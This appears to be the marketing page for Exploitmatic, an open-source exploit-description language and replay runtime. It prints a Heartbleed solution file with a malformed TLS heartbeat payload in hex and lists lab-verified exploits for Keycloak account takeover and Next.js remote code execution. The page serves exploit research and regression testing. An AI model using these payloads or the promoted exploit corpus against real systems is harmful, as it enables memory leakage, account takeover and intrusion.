licenseopen-sourceannouncement
Exploitmatic is now Apache 2.0 🎉
The runtime and the solution corpus are both Apache License 2.0 now. One license, no CLA, and no source-release obligation, even for hosted services.
Read postA common language for exploit researchers and agents.
Purpose-built for planning and writing exploit chains. Designed for the AI era.
Plan and write the chain once, as one plain text file. The runtime validates that file, replays it against a target you name, and prints one result per step. Verified, or not verified.
Open source. Apache 2.0
Exploitmatic
FileEditViewRunHelp
tlsopenssl-heartbleed-mem-leak.txt
1 2 3 4 5 6 7 8 9 10 11 12 13 14
openssl/heartbleed-mem-leak
CVE-2014-0160 Heartbleed
CVE-2014-0160
tls clienthello-heartbeat
send hex "1603030125010001210303..."
receive until "0e000000"
receive 65536 bytes
expect "0e000000" in the response
tls malformed-heartbeat
send hex "1803030003014000"
receive 70000 bytes
expect the response to match "18030[123]40"Run
Replay
Same bug, a dozen dialects.
A vulnerability gets written up once and then re-expressed forever: as a Python PoC, a C exploit, a Ruby module, a shell one-liner, a notebook, a scanner template. Each version belongs to one toolchain and reads differently. Two teams cannot diff their PoCs, and a writeup cannot be replayed.
AI makes the problem larger. An agent can emit exploit logic in any language it chooses, so each run can become another one-off artifact with no shared shape.
exploit.py
Python
poc.c
C
module.rb
Ruby
repro.sh
Shell
research.ipynb
Notebook
agent_draft.py
AI agent
Exploitmatic does not ask anyone to switch languages. It gives every dialect a single landing place: a solution file that humans review and the runtime replays.
One file describes the attack.
- 01
The header says where it came from
An id, a one-line summary, and the CVE it reproduces. Provenance travels with the file instead of living in a repo readme nobody reads.
- 02
Each block is one step
Identity names the protocol. English lines say what to send, what to read, and what to capture. A human reads it like a checklist.
- 03
The expect line is the test
Every step ends with what must hold for it to pass. The file describes the attack; the runtime applies the tests.
Exploitmatic
FileEditViewRunHelp
tlsheartbleed-mem-leak.txt
id: openssl/heartbleed-mem-leak summary: CVE-2014-0160 Heartbleed ref: CVE-2014-0160 tls clienthello-heartbeat send hex "1603030125010001210303..." receive until "0e000000" receive 65536 bytes expect "0e000000" in the response tls malformed-heartbeat send hex "1803030003014000" receive 70000 bytes expect the response to match "18030[123]40"
The result comes from the run, not from the file.
Replay the same solution against a vulnerable build, then against a patched one. The file does not change. Green means verified. Red means not verified. That is what turns a documented exploit into a regression test for the fix.
See the CLI run it.
The same file runs from the command line. The recording shows a real run of the Heartbleed solution against a vulnerable OpenSSL container: two steps, two results, and a clean exit.
exploitmatic heartbleed-mem-leak.txt 127.0.0.1:8443
Terminal
What you can check before you trust it.
Everything on this page is something you can verify yourself. The source is public, the format is documented.
One portable binary
Windows, macOS, and Linux. No runtime to install, no interpreter, no dependencies to fetch.
Eighteen protocols, one grammar
http and tls up through smb, snmp, and process. The same file language across all of them.
Open source
Apache-2.0. The runtime, the grammar, and the verified solutions corpus are public on GitHub.
Results from the run
A report is one line per step plus a result. No file carries a verdict; the runtime prints it.
Protocol identities
The solution format
The plain text grammar, end to end.
Steps in English
How each step reads as a sentence.
Asserts and validation
The five test kinds and how a run decides.
Authoring guide
From a technique you understand to a file.
Verified against real targets.
These results are what the runtime printed in the lab. Each linked post shows the vulnerable build, the setup, and the methodology, so the claim can be checked instead of taken on faith.
CVE-2014-0160 2/2 verified
Heartbleed
Leaked memory recovered from a vulnerable OpenSSL server.
OpenSSL 1.0.1f (lab container)
CVE-2026-18963 8/8 verified
Keycloak reset-credentials bypass
Unauthenticated account takeover; the victim password really changed.
Keycloak 26.7.1 (lab container)
CVE-2026-75604 4/4 verified
Next.js RCE on Windows
Unauthenticated remote code execution via the filesystem cache.
next 16.2.11, native Windows (lab)
The reasoning is public too.
The blog publishes why the representation exists and tests it against real targets: real CVEs, real vulnerable builds, real run reports.
rustgomigrationengineering
Why We Moved Exploitmatic from Go to Rust
Exploitmatic moved from Go to Rust as a product decision, not a performance one. Here is why, what the rewrite changed, and what the benchmarks do and do not show.
Read post nextjscvercewindows
Next.js CVE-2026-75604: unauthenticated RCE on Windows via the filesystem cache
A walkthrough of CVE-2026-75604, an unauthenticated remote code execution in Windows-hosted Next.js 13.4 through 15.5.23 and 16.0 through 16.3.2. A backslash cache traversal leaks the private Server Action encryption key, and a forged multipart request runs cmd.exe.
Read postStraight answers.
The category is new, so the boundaries are worth stating plainly. The full list is on the FAQ page.
All questions and answersGive exploit research a common language.
Bring a PoC, a writeup, or an AI-generated draft into an Exploitmatic solution: inspect it, validate it, and replay it against a target you own. The runtime and the corpus are open source.